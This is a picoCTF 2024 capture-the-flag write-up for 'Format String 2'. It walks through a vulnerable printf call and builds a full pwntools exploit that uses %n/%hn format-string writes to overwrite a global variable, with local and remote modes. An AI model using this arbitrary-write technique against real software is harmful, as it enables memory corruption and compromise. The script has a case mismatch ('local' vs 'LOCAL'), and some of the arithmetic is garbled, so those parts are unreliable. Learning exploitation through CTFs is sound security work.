Arbitrary Memory Write with Format Strings

Format String 2 CTF

Source Code Analysis

Stepping through the code our global variable sus must be modified to 0x67616c66 in order to print the flag. The vulnerable code is the printf() functions on line 14. Lets exploit using format strings.

vuln.c
#include <stdio.h>

int sus = 0x21737573;

int main() {
  char buf[1024];
  char flag[64];


  printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
  fflush(stdout);
  scanf("%1024s", buf);
  printf("Here's your input: ");
  printf(buf);
  printf("\n");
  fflush(stdout);

  if (sus == 0x67616c66) {
    printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");

    // Read in the flag
    FILE *fd = fopen("flag.txt", "r");
    fgets(flag, 64, fd);

    printf("%s", flag);
    fflush(stdout);
  }
  else {
    printf("sus = 0x%x\n", sus);
    printf("You can do better!\n");
    fflush(stdout);
  }

  return 0;
}

64 Bit Binary Review

The binary is precompiled and is for 64 bit architecture.

Recall 64 bit architecture passes parameters from registers instead of the stack, and we can leak the values of the first six registers and then contents of the stack. Let's debug the binary to demonstrate this and pass 6 %p specifiers to our buffer.

The contents of the rsi rdi rcx r8 and r9 registers and first value on the stack rsp are leaked:

Python Solution

After manually leaking values from the stack I used a script to fuzz and see where we could find our controlled arguments on the stack. is on the stack starting at position 18.

from pwn import *
context.log_level ='debug'
context.binary = binary = ELF('./vuln', checksec=False)

data = 'AAAABBBBCCCCDDDDEEEEFFFFGG'

for i in range(14,17):
	payload = f'%{i}$lx,%{i+1}$lx,%{i+2}$lx,%{i+3}$lx,%{i+4}$lx,' + data
	p = process()
	p.recvline()
	p.sendline(payload.encode())
	p.recvall()
# payload -> b'%16$lx,%17$lx,%18$lx,%19$lx,%20$lx,AAAABBBBCCCCDDDDEEEEFFFFGG\n'
# b "Here's your input: 3931252c786c2438,243032252c786c24,42414141412c786c,4443434343424242,4645454545444444,AAAABBBBCCCCDDDDEEEEFFFFGG\n"
# b'sus = 0x21737573\n'
# b'You can do better!\n'

Now we can attempt to access our global variable sus but first need to find its memory location. Disassemble the main function of the binary in GDB reveals the address of sus to be 0x404060 Below is a snippet showing the contents of 0x404060 being moved into the EAX register before being compared to 0x67616c66 -- the value we must change sus into. You can also print the address of a global variable in GDB with print &sus

Our next payload is below and put the memory address of sus under our control. Now we can attempt to write to the memory address of sus.

payload = f'%{i}$llx,%{i+1}$llx,%{i+2}$llx,%{i+3}$llx,%{i+4}$llx,'  + '\x60\x40\x40\x00\x00\x00\x00\x00' + '\x62\x40\x40\x00\x00\x00\x00\x00'

To overwrite memory words the %n instruction can be used. Also the %hn instruction will let us to write only two bytes since otherwise it would be difficult (impossible?) to write a large value directly like 0x67616c66

First some quick math to determine the payload size for our first two high order bytes. 0x6761=26465100x6761 = 26465_{10} so our first payload can be %26464d,%20$nlx

payload = f'%{sus-1}d,%20$nlx,%{i}$llx,%{i+1}$llx,%{i+2}$llx,'  + '\x60\x40\x40\x00\x00\x00\x00\x00' + '\x62\x40\x40\x00\x00\x00\x00\x00' + data

To write to the lower two bytes the %hn comes into play. Again quick math we have wrote 26465 characters already. 0x6c66=27750100x6c66 = 27750_{10} and 27750−26465=128527750 - 26465 =1285. We need to write an additional 1285 more characters. Below is the complete script and final payload to capture the flag.

exploit.py
from pwn import *
#context.log_level ='debug'
context.binary = binary = ELF('./vuln', checksec=False)
HOST = 'rhea.picoctf.net'
PORT = 49907

LOCAL = True #flip to False for remote server

data = 'AAAABBBBCCCCDDDDEEEEFFFFGG'

### fuzzing for what we control on the stack- original 1 - 15. Our string on the stack starts at 18.
#b'%16$lx,%17$lx,%18$lx,%19$lx,%20$lx,AAAABBBBCCCCDDDDEEEEFFFFGG\n'
#b"Here's your input: 3931252c786c2438,243032252c786c24,42414141412c786c,4443434343424242,4645454545444444,AAAABBBBCCCCDDDDEEEEFFFFGG\n"

'''
for i in range(14,17):
	payload = f'%{i}$lx,%{i+1}$lx,%{i+2}$lx,%{i+3}$lx,%{i+4}$lx,' + data
	p = process()
	p.recvline()
	p.sendline(payload.encode())
	p.recvall()
'''
#switched for %lx to %llx

sus, alsoSus = 0x6761, 0x6c66 # 26465 , 27750
#1285 more chars for 27750, needed some padding
for i in range(18,19):
	#payload = f'%{i}$llx,%{i+1}$llx,%{i+2}$llx,%{i+3}$llx,%{i+4}$llx,'  + '\x60\x40\x40\x00\x00\x00\x00\x00' + '\x62\x40\x40\x00\x00\x00\x00\x00' #fuzzing payload
	#payload = f'%{sus-1}d,%20$nlx,%{i}$llx,%{i+1}$llx,%{i+2}$llx,'  + '\x60\x40\x40\x00\x00\x00\x00\x00' + '\x62\x40\x40\x00\x00\x00\x00\x00' + data #payload for first two digits (high order byes)
	payload = f'%{sus-1}d,%20$hn%1281dEZEZ%19$hnx,%{i+2}$llx,'  + '\x60\x40\x40\x00\x00\x00\x00\x00' + '\x62\x40\x40\x00\x00\x00\x00\x00' + data #final payload
	if local:
		p = process()
		p.recvline()
		p.sendline(payload.encode())
		p.interactive()
	else:
		r = remote(HOST,PORT)
		r.recvline()
		r.sendline(payload.encode())
		r.interactive() 

Flag captured from the local binary

Resources

#picoCTF2024

Last updated